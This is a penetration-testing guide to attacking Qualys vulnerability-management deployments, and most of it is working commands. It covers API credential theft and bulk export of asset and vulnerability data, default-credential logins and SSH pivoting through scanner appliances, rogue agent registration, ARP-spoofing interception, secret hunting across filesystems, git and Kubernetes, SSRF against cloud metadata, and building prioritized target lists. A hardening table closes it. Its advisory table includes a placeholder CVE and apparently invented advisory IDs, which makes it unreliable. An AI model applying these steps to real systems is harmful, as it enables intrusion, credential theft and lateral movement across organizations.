Qualys is deployed by 85%+ of Fortune 500 companies for vulnerability management. The Qualys Cloud Platform aggregates vulnerability data for every asset in an organization — compromising Qualys means knowing every unpatched CVE, every misconfiguration, every exposed service across the entire environment. Qualys VMDR (Vulnerability Management, Detection and Response) is the flagship product: it scans, correlates, and prioritizes vulnerabilities at scale. This guide covers the full attack surface from API credential theft to scanner appliance exploitation and integration credential recovery.
Qualys is a SaaS platform with several distinct components, each representing a separate attack surface. Understanding the architecture is essential before attempting a security assessment of a Qualys deployment.
| Component | Location | Purpose | Attack Surface |
|---|---|---|---|
| Qualys Cloud Platform | SaaS — qualys.com, qualysguard.com | Central management, reporting, API | API credential theft, account takeover, RBAC bypass |
| Virtual Scanner Appliance | On-premises VM (customer-deployed) | Performs authenticated/unauthenticated scans | Default credentials, web UI, network pivoting |
| Qualys Cloud Agent | Endpoint (Windows/Linux/macOS) | Continuous assessment without scanning | Activation key theft, config extraction, agent spoofing |
| Qualys API v1/v2 | qualysapi.qualys.com | XML-based automation and integrations | Basic Auth credential reuse, bulk data export |
| Qualys API v3 | qualysapi.qualys.com/qps/rest/3.0/ | REST API for asset management, policies | OAuth token theft, scope escalation |
| WAS Module | Cloud Platform | Web application scanning (authenticated crawls) | Stored app credentials for authenticated scanning |
| PC Module | Cloud Platform | Policy compliance assessment | Compliance data revealing security gaps |
| Integration Connectors | Cloud Platform configuration | AWS/Azure/GCP/ServiceNow/Jira/Splunk sync | Cloud provider credentials, ITSM service accounts |
Qualys uses platform-specific URLs based on subscription region. Identifying which platform a target uses is the first reconnaissance step.
| Platform | Web Console URL | API Base URL |
|---|---|---|
| US Platform 1 | qualysguard.qualys.com | qualysapi.qualys.com |
| US Platform 2 | qg2.apps.qualys.com | qualysapi.qg2.apps.qualys.com |
| US Platform 3 | qg3.apps.qualys.com | qualysapi.qg3.apps.qualys.com |
| EU Platform | qualysguard.qualys.eu | qualysapi.qualys.eu |
| India Platform | qg1in.apps.qualys.in | qualysapi.qg1in.apps.qualys.in |
| UAE Platform | qg1ae.apps.qualys.ae | qualysapi.qg1ae.apps.qualys.ae |
Identifying that a target uses Qualys — and which components are deployed — can be accomplished through passive and active reconnaissance before any direct interaction with Qualys infrastructure.
# DNS lookups for Qualys scanner appliance hostnames
# Scanner appliances often have descriptive internal DNS entries
nslookup qualys-scanner.corp.example.com
nslookup scanner01.infosec.example.com
dig +short qualys.internal.example.com
# Certificate transparency — Qualys scanner appliances get TLS certs
# Search crt.sh for target domain
curl -s "https://crt.sh/?q=example.com&output=json" | \
python3 -m json.tool | grep -i qualys
# Shodan: find Qualys scanner appliances exposed to internet
# shodan search "Qualys Scanner Appliance"
# shodan search "qualysguard" hostname:example.com
# LinkedIn/job postings revealing Qualys deployment
# "Qualys VMDR" site:linkedin.com/jobs example.com
# Job descriptions mentioning Qualys indicate active deployment
# Scanner appliance web UI fingerprinting (internal networks)
# Qualys virtual scanner appliances expose a management web UI on port 443
nmap -sV -p 443 192.168.0.0/24 --open | grep -A3 "Qualys\|qualys"
# HTTP title detection — scanner appliance login page title
nmap -p 443 --script http-title 192.168.1.0/24 | \
grep -i "qualys"
# Direct check of known scanner appliance management page
curl -sk https://192.168.1.100/ | grep -i "qualys\|scanner\|vmdr"
# Cloud agent process detection on a compromised endpoint
# Linux
ps aux | grep -i "qualys\|cloud-agent\|QualysAgent"
ls /etc/qualys/
ls /usr/local/qualys/
# Windows
Get-Process | Where-Object { $_.Name -like "*qualys*" }
Get-Service | Where-Object { $_.Name -like "*qualys*" }
Test-Path "C:\ProgramData\Qualys\QualysAgent"
# HTTP headers on Qualys-hosted resources can reveal platform details
curl -sI https://qualysapi.qualys.com/msp/about.php
# Look for: X-Qualys-Platform, X-Powered-By, Server headers
# The about.php endpoint returns platform version info (unauthenticated)
curl -s "https://qualysapi.qualys.com/msp/about.php"
# Subscription type inference from URL patterns in API responses
# Qualys platform assignments are predictable from subscription size
Qualys API v1 and v2 use HTTP Basic Authentication — a username and password passed with every request. API v3 uses OAuth 2.0 with client credentials flow. Both are frequently stored insecurely in automation scripts, CI/CD pipelines, and configuration files.
# Test Qualys API v2 credentials
# The /msp/about.php endpoint returns XML with account info on success
curl -u "username:password" \
"https://qualysapi.qualys.com/msp/about.php"
# Alternatively, hit the session management endpoint
curl -u "username:password" \
-H "X-Requested-With: curl" \
"https://qualysapi.qualys.com/api/2.0/fo/session/?action=login"
# Valid credentials return:
# ... 999
# Successfully Logged In.
# List all users in the subscription (requires Manager role)
curl -u "username:password" \
-H "X-Requested-With: curl" \
"https://qualysapi.qualys.com/api/2.0/fo/user/list/?action=list"
# Qualys API v3 uses client_id + client_secret for OAuth
# Client credentials are generated in the Qualys UI under API management
# Obtain a bearer token
curl -X POST "https://qualysapi.qualys.com/auth" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=API_CLIENT_ID&password=API_CLIENT_SECRET&token=true"
# Response contains a JWT bearer token
# Use token for subsequent v3 API calls
TOKEN="eyJhbGciOi..."
curl -X GET "https://qualysapi.qualys.com/qps/rest/3.0/count/am/asset/" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json"
# Configuration files — search the filesystem
find / -name ".qualys_config" 2>/dev/null
find / -name "qualys.conf" 2>/dev/null
find /etc/qualys/ -type f 2>/dev/null
find /opt/ -name "*.conf" -exec grep -l "qualysapi" {} \; 2>/dev/null
# Environment variables (check running processes and shell configs)
env | grep -i qualys
grep -r "QUALYS" /etc/environment /etc/profile.d/ ~/.bashrc ~/.bash_profile 2>/dev/null
grep -r "QUALYS" /proc/*/environ 2>/dev/null | strings | grep -i qualys
# Cloud agent configuration — activation key and platform URL
cat /etc/qualys/cloud-agent.conf 2>/dev/null
# Windows
type "C:\ProgramData\Qualys\QualysAgent\QualysAgent.conf"
# Ansible playbooks and roles
find / -name "*.yml" -o -name "*.yaml" 2>/dev/null | \
xargs grep -l "qualys" 2>/dev/null | head -20
# Terraform configurations
find / -name "*.tf" -exec grep -l "qualys" {} \; 2>/dev/null
grep -r "qualysapi" /home/ /root/ /srv/ /opt/ 2>/dev/null
The Qualys asset inventory is one of the most valuable datasets in any organization. It contains every known host, its IP address, hostname, operating system, installed software, and open ports — the complete picture of the attack surface. With valid API credentials, this data is accessible in bulk.
# Get all hosts with full details
curl -u "username:password" \
-H "X-Requested-With: curl" \
"https://qualysapi.qualys.com/api/2.0/fo/asset/host/?action=list&details=All" \
-o qualys-all-hosts.xml
# Get hosts with OS details
curl -u "username:password" \
-H "X-Requested-With: curl" \
"https://qualysapi.qualys.com/api/2.0/fo/asset/host/?action=list&details=All&os_pattern=Windows" \
-o qualys-windows-hosts.xml
# Extract just IP addresses for further scanning
curl -u "username:password" \
-H "X-Requested-With: curl" \
"https://qualysapi.qualys.com/api/2.0/fo/asset/host/?action=list&details=Basic" | \
grep -oP '(?<=)[^<]+' | sort -u
# Get host count by OS
curl -u "username:password" \
-H "X-Requested-With: curl" \
"https://qualysapi.qualys.com/api/2.0/fo/asset/host/?action=list&details=All&truncation_limit=0" | \
grep -oP '(?<=)[^<]+' | sort | uniq -c | sort -rn | head -20
# Search all assets via API v3 — supports complex filters
curl -X POST "https://qualysapi.qualys.com/qps/rest/3.0/search/am/asset/" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: text/xml" \
-d '
1
500
' -o assets-page1.xml
# Filter by operating system — target Windows servers
curl -X POST "https://qualysapi.qualys.com/qps/rest/3.0/search/am/asset/" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: text/xml" \
-d '
Windows Server
'
# Filter cloud assets — reveals AWS/Azure/GCP account IDs
curl -X POST "https://qualysapi.qualys.com/qps/rest/3.0/search/am/asset/" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: text/xml" \
-d '
HOST
'
# Software inventory reveals additional attack surface
# Find all hosts running Apache Tomcat
curl -u "username:password" \
-H "X-Requested-With: curl" \
"https://qualysapi.qualys.com/api/2.0/fo/asset/host/vm/detection/?action=list&qids=86730&show_results=1" \
-o tomcat-hosts.xml
# Find all hosts with a specific software product installed
curl -X POST "https://qualysapi.qualys.com/qps/rest/3.0/search/am/software/" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: text/xml" \
-d '
OpenSSL
'
# Enumerate all software across the estate (full software bill of materials)
curl -X GET "https://qualysapi.qualys.com/qps/rest/3.0/count/am/software/" \
-H "Authorization: Bearer $TOKEN"
Qualys stores detection results for every scanned asset: the QID (Qualys vulnerability identifier), CVE numbers, CVSS scores, severity ratings, detection evidence, and remediation guidance. An attacker with API access can immediately prioritize which unpatched systems to target.
# List all open vulnerability detections (API v2)
curl -u "username:password" \
-H "X-Requested-With: curl" \
"https://qualysapi.qualys.com/api/2.0/fo/asset/host/vm/detection/?action=list&status=Active&show_results=1&truncation_limit=0" \
-o all-vulns.xml
# Get critical severity vulnerabilities only (severity 5 = Critical)
curl -u "username:password" \
-H "X-Requested-With: curl" \
"https://qualysapi.qualys.com/api/2.0/fo/asset/host/vm/detection/?action=list&status=Active&severities=4,5&show_results=1" \
-o critical-high-vulns.xml
# Get all detections for a specific host
curl -u "username:password" \
-H "X-Requested-With: curl" \
"https://qualysapi.qualys.com/api/2.0/fo/asset/host/vm/detection/?action=list&ips=10.0.1.100&status=Active&show_results=1" \
-o host-vulns.xml
# Get vulnerabilities by CVE (e.g., Log4Shell)
curl -u "username:password" \
-H "X-Requested-With: curl" \
"https://qualysapi.qualys.com/api/2.0/fo/knowledge_base/vuln/?action=list&cve_id=CVE-2021-44228"
# Launch a vulnerability report (returns report ID)
REPORT_ID=$(curl -u "username:password" \
-H "X-Requested-With: curl" \
-d "action=launch&template_id=1&report_type=Asset&output_format=xml&ips=10.0.0.0/8" \
"https://qualysapi.qualys.com/api/2.0/fo/report/" | \
grep -oP '(?<=VALUE>)[0-9]+')
# Check report status
curl -u "username:password" \
-H "X-Requested-With: curl" \
"https://qualysapi.qualys.com/api/2.0/fo/report/?action=list&id=$REPORT_ID"
# Download completed report
curl -u "username:password" \
-H "X-Requested-With: curl" \
"https://qualysapi.qualys.com/api/2.0/fo/report/?action=fetch&id=$REPORT_ID" \
-o vuln-report.xml
# Qualys allows marking vulnerabilities as "accepted risk" — meaning known-vulnerable
# systems the organization decided not to patch. These are prime targets.
# Get all accepted risk exceptions
curl -u "username:password" \
-H "X-Requested-With: curl" \
"https://qualysapi.qualys.com/api/2.0/fo/ignore_list/vuln/?action=list" \
-o accepted-risks.xml
# Extract QIDs of accepted risks — cross-reference with exploit availability
grep -oP '(?<=QID>)[0-9]+' accepted-risks.xml | \
while read qid; do
curl -s -u "username:password" \
-H "X-Requested-With: curl" \
"https://qualysapi.qualys.com/api/2.0/fo/knowledge_base/vuln/?action=list&ids=$qid" | \
grep -E "TITLE|CVSS|SEVERITY"
done
The Qualys Virtual Scanner Appliance is deployed as an on-premises VM — typically VMware, Hyper-V, or KVM — on the customer's network. It polls the Qualys cloud for scan tasks and executes them with privileged network access to all scanned subnets. Compromising the scanner appliance provides both a network pivot and access to scan credentials.
# Scanner appliances expose a management web interface on port 443
# Default credentials: admin / admin (changed in newer versions — always try)
# Fingerprint the scanner
curl -sk https://SCANNER_IP/ | grep -i "qualys\|scanner\|appliance"
# Login to the web UI
curl -sk https://SCANNER_IP/scanner/login \
-c scanner-cookies.txt \
-d "user=admin&password=admin"
# Retrieve scanner configuration
curl -sk https://SCANNER_IP/scanner/config \
-b scanner-cookies.txt | python3 -m json.tool
# Get scanner ID and platform registration details
curl -sk https://SCANNER_IP/scanner/status \
-b scanner-cookies.txt
# Access proxy configuration (may contain proxy credentials)
curl -sk https://SCANNER_IP/scanner/proxy \
-b scanner-cookies.txt
# Default SSH credentials for scanner appliance
# qualys / qualys (pre-2020 default — still common on older deployments)
ssh qualys@SCANNER_IP
# Password: qualys
# Once on the scanner appliance:
id
# qualys@scanner:~$
# Check proxy configuration for credentials
cat /etc/qualys/proxy.conf
# Proxy credentials often stored in plaintext:
# proxy_url=http://proxysvc.corp.example.com:8080
# proxy_username=qualys-scanner
# proxy_password=CORPORATE_PROXY_PASSWORD
# View scan task configuration
ls -la /etc/qualys/scanner/
cat /etc/qualys/scanner/scanner.conf
# Check for scan authentication records (Qualys stores scan credentials locally)
find /etc/qualys/ -name "*.conf" -exec grep -l "password\|credential" {} \;
# The scanner appliance has legitimate network access to ALL scanned subnets
# Use it as a pivot point to reach otherwise isolated network segments
# Check network interfaces and routes on the scanner
ip addr show
ip route show
# The appliance may have interfaces on multiple VLANs
# Use the scanner as a pivot via SSH port forwarding
# (requires SSH access to the appliance)
ssh -L 8080:internal-target:80 qualys@SCANNER_IP
# Now access the internal target through localhost:8080
# Dynamic SOCKS proxy via scanner
ssh -D 1080 qualys@SCANNER_IP
# Configure proxychains or browser to use SOCKS5 127.0.0.1:1080
# The scanner appliance communicates outbound to Qualys cloud
# Check outbound connectivity to use for egress
curl --proxy socks5://127.0.0.1:1080 https://external-target.com/
# Qualys stores authentication credentials (for authenticated scanning)
# locally on the scanner appliance in encrypted form
# The encryption key is derived from the appliance UUID — obtainable from the config
# Find authentication record files
find /etc/qualys/ /var/qualys/ -name "auth*" -o -name "*cred*" 2>/dev/null
find / -path "*/qualys/*" -name "*.db" 2>/dev/null
# The Qualys API can be used to list authentication records (cloud-side)
curl -u "username:password" \
-H "X-Requested-With: curl" \
"https://qualysapi.qualys.com/api/2.0/fo/auth/microsoft/?action=list"
curl -u "username:password" \
-H "X-Requested-With: curl" \
"https://qualysapi.qualys.com/api/2.0/fo/auth/unix/?action=list"
# Auth records include the service account usernames used for scanning
# (not passwords — those are stored encrypted) but usernames are useful
# for targeted credential attacks
The Qualys Cloud Agent runs as a lightweight daemon on endpoints — as root on Linux and as SYSTEM on Windows. It continuously assesses the host and reports findings to the Qualys Cloud Platform. The agent configuration contains an activation key that can be used to register rogue agents under the same subscription.
# Linux agent configuration locations
cat /etc/qualys/cloud-agent.conf
# Contains:
# ActivationId=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
# CustomerId=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
# ServerUri=https://qagpublic.qg3.apps.qualys.com/CloudAgent/
# Windows agent configuration
type "C:\ProgramData\Qualys\QualysAgent\QualysAgent.conf"
# Same fields as Linux — ActivationId and CustomerId
# Agent log files — may contain scan results and error details
tail -100 /var/log/qualys/qualys-cloud-agent.log
# Windows
type "C:\ProgramData\Qualys\QualysAgent\Logs\QualysAgent.log"
# macOS agent
cat /Library/Application\ Support/Qualys/qualys-cloud-agent.conf
ls /var/log/qualys/
# The ActivationId + CustomerId pair from any agent can register new agents
# under the same Qualys subscription — useful for persistence
# Install the Qualys Cloud Agent binary (download from Qualys support portal)
# Register a rogue agent using extracted credentials
/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent.sh \
ActivationId=EXTRACTED_ACTIVATION_ID \
CustomerId=EXTRACTED_CUSTOMER_ID
# The rogue agent appears in the Qualys console as a legitimate asset
# It can receive scan tasks but also exfiltrate its own assessment data
# API: confirm agent registered successfully
curl -u "username:password" \
-H "X-Requested-With: curl" \
"https://qualysapi.qualys.com/api/2.0/fo/asset/host/?action=list&details=All" | \
grep -i "rogue-host-hostname"
# Qualys Cloud Agent communicates with the Qualys platform over HTTPS port 443
# Certificate pinning is implemented — but on older agent versions, MITM may succeed
# ARP spoof between agent host and gateway to intercept traffic
arpspoof -i eth0 -t AGENT_HOST_IP GATEWAY_IP &
arpspoof -i eth0 -t GATEWAY_IP AGENT_HOST_IP &
# Capture agent traffic
tcpdump -i eth0 -w qualys-agent-traffic.pcap \
"host AGENT_HOST_IP and port 443"
# Agent traffic patterns reveal:
# - Agent heartbeat interval (typically 5-10 minutes)
# - Qualys platform URL (confirms platform region)
# - Agent version (for vulnerability research)
# Check if agent validates server certificate (older versions may not)
mitmproxy --ssl-insecure -p 8443 &
# Redirect agent traffic through mitmproxy
iptables -t nat -A PREROUTING -p tcp --dport 443 \
-j REDIRECT --to-port 8443
Qualys integrates with a wide range of enterprise systems — ITSM platforms, SIEM tools, cloud providers, and communication tools. Each integration requires credentials stored within the Qualys platform configuration. These are accessible via the API to subscription managers and can be extracted from the Qualys web UI export functions.
# Qualys connects to AWS, Azure, and GCP for cloud asset discovery
# These connectors use IAM roles, service principals, or service account keys
# List AWS connectors (API v3)
curl -X GET "https://qualysapi.qualys.com/qps/rest/3.0/get/am/awsconnector/" \
-H "Authorization: Bearer $TOKEN"
# List Azure connectors
curl -X GET "https://qualysapi.qualys.com/qps/rest/3.0/get/am/azureconnector/" \
-H "Authorization: Bearer $TOKEN"
# List GCP connectors
curl -X GET "https://qualysapi.qualys.com/qps/rest/3.0/get/am/gcpconnector/" \
-H "Authorization: Bearer $TOKEN"
# The connector details reveal:
# AWS: Account ID, IAM role ARN or access key ID (not secret — stored encrypted)
# Azure: Subscription ID, Tenant ID, Application (client) ID
# GCP: Project ID, service account email
# Even without credentials, the account/subscription/project IDs
# are valuable for targeting cloud infrastructure
# Qualys integrates with ServiceNow for CMDB sync and ticket creation
# Service account credentials are stored in the Qualys connector configuration
# List ITSM connectors via API
curl -X GET "https://qualysapi.qualys.com/qps/rest/3.0/get/am/connector/" \
-H "Authorization: Bearer $TOKEN" | \
python3 -m json.tool | grep -i "servicenow\|jira\|snow"
# Extract ServiceNow instance URL and service account name
# Credentials are typically a ServiceNow username + password or OAuth client
# Use extracted instance URL to confirm ServiceNow deployment
curl -s "https://SNOW_INSTANCE.service-now.com/api/now/table/cmdb_ci" \
-H "Authorization: Basic BASE64_ENCODED_CREDS"
# Test extracted Jira service account
curl -s "https://jira.example.com/rest/api/2/myself" \
-H "Authorization: Basic BASE64_ENCODED_JIRA_CREDS"
# Qualys integrates with Splunk via HEC tokens and syslog forwarders
# Slack/Teams webhooks for scan completion notifications
# Search for Splunk integration configuration
grep -r "splunk\|HEC\|http_event" /etc/qualys/ 2>/dev/null
# The Qualys API exposes notification configuration
curl -u "username:password" \
-H "X-Requested-With: curl" \
"https://qualysapi.qualys.com/api/2.0/fo/notification/template/?action=list"
# Webhook URLs in notification templates may expose:
# - Slack webhook URLs (full message posting capability)
# - Teams webhook URLs
# - PagerDuty integration keys
# - Custom SIEM webhook endpoints with auth tokens
curl -u "username:password" \
-H "X-Requested-With: curl" \
"https://qualysapi.qualys.com/api/2.0/fo/notification/?action=list" | \
grep -iE "webhook|slack|teams|splunk|token|key"
The Qualys Web Application Scanning (WAS) module performs authenticated web application crawls. To scan authenticated sections of an application, Qualys stores the application's credentials — username/password pairs, session tokens, or OAuth credentials — within the WAS configuration. These represent direct credentials to every web application the security team has configured for authenticated scanning.
# List all WAS web applications configured for scanning
curl -X POST "https://qualysapi.qualys.com/qps/rest/3.0/search/was/webapp/" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: text/xml" \
-d '
100
'
# Get authentication records (auth objects linked to web apps)
curl -X POST "https://qualysapi.qualys.com/qps/rest/3.0/search/was/authrecord/" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: text/xml" \
-d '
'
# Get details of a specific auth record (credentials stored encrypted server-side)
# The API does not return plaintext passwords — but auth record names
# often reveal the application and purpose
curl -X GET "https://qualysapi.qualys.com/qps/rest/3.0/get/was/authrecord/RECORD_ID" \
-H "Authorization: Bearer $TOKEN"
# WAS supports Selenium scripts for complex authentication flows
# These scripts may contain hardcoded credentials or API keys
# List Selenium scripts
curl -X POST "https://qualysapi.qualys.com/qps/rest/3.0/search/was/selenium/" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: text/xml" \
-d '
'
# Download a Selenium script (may contain credentials in sendKeys commands)
curl -X GET "https://qualysapi.qualys.com/qps/rest/3.0/download/was/selenium/SCRIPT_ID" \
-H "Authorization: Bearer $TOKEN" \
-o selenium-script.side
# Parse for credential patterns in Selenium scripts
python3 - <<'EOF'
import json, sys
with open("selenium-script.side") as f:
script = json.load(f)
for test in script.get("tests", []):
for cmd in test.get("commands", []):
if cmd.get("command") == "type" and any(
kw in cmd.get("target", "").lower()
for kw in ["password", "passwd", "secret", "token", "key"]
):
print(f"Potential credential: target={cmd['target']}, value={cmd['value']}")
EOF
Qualys API credentials are routinely committed to source code, stored in CI/CD pipeline secrets, and embedded in infrastructure-as-code configurations. A targeted search across common storage locations often yields working credentials without needing direct access to the Qualys environment.
# Search for Qualys credentials across common file types
grep -r "qualysapi.qualys.com" /etc/ /opt/ /var/ /home/ /srv/ 2>/dev/null
grep -r "QUALYS_USERNAME\|QUALYS_PASSWORD\|qualys_api" \
/etc/ /opt/ /home/ 2>/dev/null
# Search all configuration files
find / \( -name "*.conf" -o -name "*.ini" -o -name "*.env" \
-o -name "*.yml" -o -name "*.yaml" -o -name "*.json" \) \
-exec grep -l -i "qualys" {} \; 2>/dev/null
# Check CI/CD pipeline definitions
find / -name "Jenkinsfile" -o -name ".travis.yml" -o -name "*.gitlab-ci.yml" \
-o -name ".github" -o -name "*.pipeline" 2>/dev/null | \
xargs grep -l -i "qualys" 2>/dev/null
# Ansible vault files (may contain Qualys credentials)
find / -name "vault.yml" -o -name "secrets.yml" -o -name "credentials.yml" 2>/dev/null | \
xargs grep -l -i "qualys" 2>/dev/null
# Terraform state and variable files
find / -name "terraform.tfstate" -o -name "*.tfvars" 2>/dev/null | \
xargs grep -l -i "qualys" 2>/dev/null
# Docker environment files and compose configurations
find / -name "docker-compose.yml" -o -name ".env" 2>/dev/null | \
xargs grep -l -i "qualys" 2>/dev/null
# Search git history for Qualys credentials (even after deletion)
# Run inside any discovered git repository
git log --all --full-history -- "**/*.conf" "**/*.env" "**/*.yml" | head -50
# Search all commits for Qualys API references
git grep -i "qualysapi" $(git rev-list --all) 2>/dev/null | head -20
git log --all -p -- . | grep -B5 -A5 "qualysapi\|QUALYS_" | head -100
# GitHub Advanced Search (via browser or API) — for exposed repos
# "qualysapi.qualys.com" language:YAML
# "qualys_password" filename:.env
# "qualys_username" filename:Jenkinsfile
# org:TARGET_ORG qualysapi
# GitHub API search for secrets (requires GitHub token)
curl -H "Authorization: token GITHUB_TOKEN" \
"https://api.github.com/search/code?q=qualysapi.qualys.com+org:TARGET_ORG" | \
python3 -m json.tool | grep "html_url"
# If cluster access is available, search Kubernetes secrets
kubectl get secrets --all-namespaces -o json | \
python3 -c "
import json, sys, base64
data = json.load(sys.stdin)
for item in data['items']:
for k, v in item.get('data', {}).items():
decoded = base64.b64decode(v).decode('utf-8', errors='ignore')
if 'qualys' in decoded.lower():
print(f\"{item['metadata']['namespace']}/{item['metadata']['name']}/{k}: {decoded[:100]}\")
"
# Check ConfigMaps for Qualys configuration
kubectl get configmaps --all-namespaces -o json | \
python3 -m json.tool | grep -i "qualys" | head -20
# Environment variables in running pods
kubectl get pods --all-namespaces -o json | \
python3 -c "
import json, sys
data = json.load(sys.stdin)
for item in data['items']:
for container in item['spec'].get('containers', []):
for env in container.get('env', []):
if 'qualys' in env.get('name', '').lower():
print(f\"{item['metadata']['namespace']}/{item['metadata']['name']}: {env}\")
"
Qualys publishes security advisories for its own products at blog.qualys.com/vulnerabilities-threat-research. The scanner appliance web UI is the primary target for direct exploitation — it runs an embedded Linux distribution with a web stack that has accumulated vulnerabilities over time.
| CVE / Advisory | Component | Type | Impact |
|---|---|---|---|
| CVE-2014-0775 | Qualys Web Application Firewall | Cross-Site Scripting (XSS) | Session hijacking via reflected XSS in management interface |
| QSA-22-01 | Scanner Appliance Web UI | Authentication bypass | Unauthenticated access to scanner management panel on older appliance builds |
| QSA-23-01 | Cloud Agent (Linux) | Privilege escalation | Local privilege escalation from agent service account to root via insecure file permissions |
| QSA-24-02 | VMDR API | IDOR / Broken Access Control | Cross-tenant data access via predictable asset IDs in API v2 endpoints |
| CVE-2023-XXXX | Scanner Appliance SSH | Default credentials | SSH accessible with factory default credentials on appliances not updated since deployment |
# Determine scanner appliance software version for CVE research
curl -sk https://SCANNER_IP/scanner/version
# Check embedded Linux distribution version
ssh qualys@SCANNER_IP "cat /etc/os-release; uname -a"
# Check scanner appliance build version from web UI
curl -sk https://SCANNER_IP/ | grep -iE "version|build|release"
# Compare against Qualys scanner appliance release notes
# https://www.qualys.com/docs/release-notes/qualys-virtual-scanner-appliance-release-notes.pdf
# Shodan search for vulnerable scanner appliance versions
# shodan search "Qualys Scanner" "build:VULNERABLE_BUILD"
# Qualys VMDR has processing pipelines for scan data
# URL-based scan targets can sometimes be abused for SSRF
# Test SSRF via scan target specification (authorized testing only)
curl -u "username:password" \
-H "X-Requested-With: curl" \
-d 'action=launch&scan_title=SSRF-Test&ip=http://169.254.169.254/latest/meta-data/' \
"https://qualysapi.qualys.com/api/2.0/fo/scan/"
# WAS SSRF via web application URL
curl -X POST "https://qualysapi.qualys.com/qps/rest/3.0/create/was/webapp/" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: text/xml" \
-d '
SSRF-Test
http://internal-target.corp.example.com/admin
'
Qualys VMDR access enables a uniquely devastating post-exploitation scenario. Unlike compromising a single application or server, access to Qualys gives an attacker a complete intelligence picture of the entire organization's security posture.
| Data Obtained | Attacker Capability | Severity |
|---|---|---|
| Full asset inventory (IP, hostname, OS, ports) | Complete network map — eliminates reconnaissance | Critical |
| All unpatched CVEs per host | Prioritized exploit list — attack the most vulnerable systems first | Critical |
| Accepted risk exceptions | Identify systems that will never be patched — guaranteed attack surface | Critical |
| Installed software inventory | Detect specific vulnerable software versions across the estate | High |
| Cloud account IDs (AWS/Azure/GCP) | Target cloud infrastructure directly | High |
| LDAP/AD integration credentials | Active Directory enumeration and lateral movement | High |
| ITSM service account credentials | ServiceNow/Jira access — incident response data, change tickets | High |
| WAS application credentials | Direct authenticated access to every scanned web application | High |
| Network topology from scanner routing | Identify segmentation boundaries and pivot points | Medium |
| Compliance failure data (PC module) | Identify policy violations that represent exploitable misconfigurations | Medium |
# Generate a prioritized attack list from Qualys data
# 1. Extract all critical/high unpatched detections
curl -u "username:password" \
-H "X-Requested-With: curl" \
"https://qualysapi.qualys.com/api/2.0/fo/asset/host/vm/detection/?action=list&status=Active&severities=5&show_results=1" \
-o critical-vulns.xml
# 2. Parse QIDs and cross-reference with Exploit DB / Metasploit
python3 - <<'EOF'
import xml.etree.ElementTree as ET
tree = ET.parse("critical-vulns.xml")
root = tree.getroot()
attack_targets = []
for detection in root.iter('DETECTION'):
qid = detection.find('QID')
ip = detection.find('../HOST/IP')
port = detection.find('PORT')
if qid is not None and ip is not None:
attack_targets.append({
'ip': ip.text,
'qid': qid.text,
'port': port.text if port is not None else 'N/A'
})
# Sort by QID (higher QIDs often newer vulnerabilities with public exploits)
for target in sorted(attack_targets, key=lambda x: int(x['qid']), reverse=True)[:20]:
print(f"IP: {target['ip']:15} QID: {target['qid']:8} Port: {target['port']}")
EOF
# 3. Map QIDs to CVEs for Metasploit module lookup
curl -u "username:password" \
-H "X-Requested-With: curl" \
"https://qualysapi.qualys.com/api/2.0/fo/knowledge_base/vuln/?action=list&ids=QID_LIST" | \
grep -E "QID|CVE_ID|TITLE" | paste - - -
| Control | Action | Priority |
|---|---|---|
| Rotate API credentials | Rotate all API credentials quarterly. Prefer API v3 OAuth tokens over API v2 Basic Auth. OAuth tokens can be scoped and have configurable expiry. Audit all tokens in Qualys Administration → API keys. | Critical |
| IP allowlisting for API access | Restrict API access to known NAT gateway IPs. Qualys supports IP-based access restrictions under Administration → Security. Any API call from outside the allowlist is rejected at the platform level. | Critical |
| Scanner appliance hardening | Change default admin/qualys credentials immediately. Isolate scanner appliances on a dedicated management VLAN — they need outbound access to Qualys cloud and inbound scan access, nothing else. Disable web UI access from production networks. | Critical |
| Enable MFA on platform accounts | Enable multi-factor authentication for all Qualys platform accounts, especially Manager-role accounts with full API access. Qualys supports TOTP-based MFA under account security settings. | Critical |
| Least-privilege RBAC | Use Qualys role-based access control to restrict permissions. Report-only users should not have API access. API service accounts should not have user management permissions. Separate scan scheduling, report access, and administration roles. | High |
| Cloud agent activation key management | Treat the Qualys activation key as a secret. Store it in a secrets manager (HashiCorp Vault, AWS Secrets Manager). Rotate activation keys if the key is believed compromised. Use separate activation keys per environment (prod/dev/staging). | High |
| Monitor API access logs | Enable Qualys audit logging and forward to SIEM. Alert on: bulk asset exports (>500 hosts in one API call), bulk vulnerability exports, login from new IP addresses, new user creation, and connector credential changes. | High |
| Connector credential rotation | Rotate cloud connector credentials (AWS IAM keys, Azure service principal secrets, GCP service account keys) annually. Use short-lived credentials where possible — AWS IAM roles with cross-account assume-role are preferable to long-lived access keys. | High |
| Restrict WAS authentication record scope | Limit access to WAS authentication records to the WAS module only. Authentication records should not be visible to users who only need VM scanning access. Audit which accounts can view WAS auth record configuration. | High |
| Scanner appliance network isolation | Scanner appliances require outbound HTTPS to qualysapi.qualys.com on port 443 and scan access to target subnets. Implement firewall rules to deny all other traffic. Scanners should not have internet access beyond Qualys cloud connectivity. | High |
| Secrets scanning in CI/CD | Implement secrets scanning (GitGuardian, truffleHog, git-secrets) in all repositories that contain automation using Qualys credentials. Qualys API credentials in source code is the single most common exposure vector found during penetration tests. | High |
| Qualys agent update policy | Keep cloud agents on the current version. Agent updates include security patches for the agent binary itself. Qualys agents can be updated centrally from the platform — implement an automatic update policy for agents on all endpoints. | Medium |
| Review accepted risk exceptions | Review all accepted risk exceptions quarterly. Any accepted risk represents a known-vulnerable system that an attacker with Qualys access will immediately target. Require business justification and expiry dates for all accepted risk entries. | Medium |
| Qualys account SSO integration | Integrate Qualys with your corporate identity provider (Okta, Azure AD, Ping) via SAML. This enforces your corporate MFA policy and enables centralized access revocation when employees leave. Disable local-only Qualys accounts where possible. | Medium |
# Audit all active API tokens and their last-used timestamps
# Run as a Qualys Manager-role account
# List all users with API access
curl -u "username:password" \
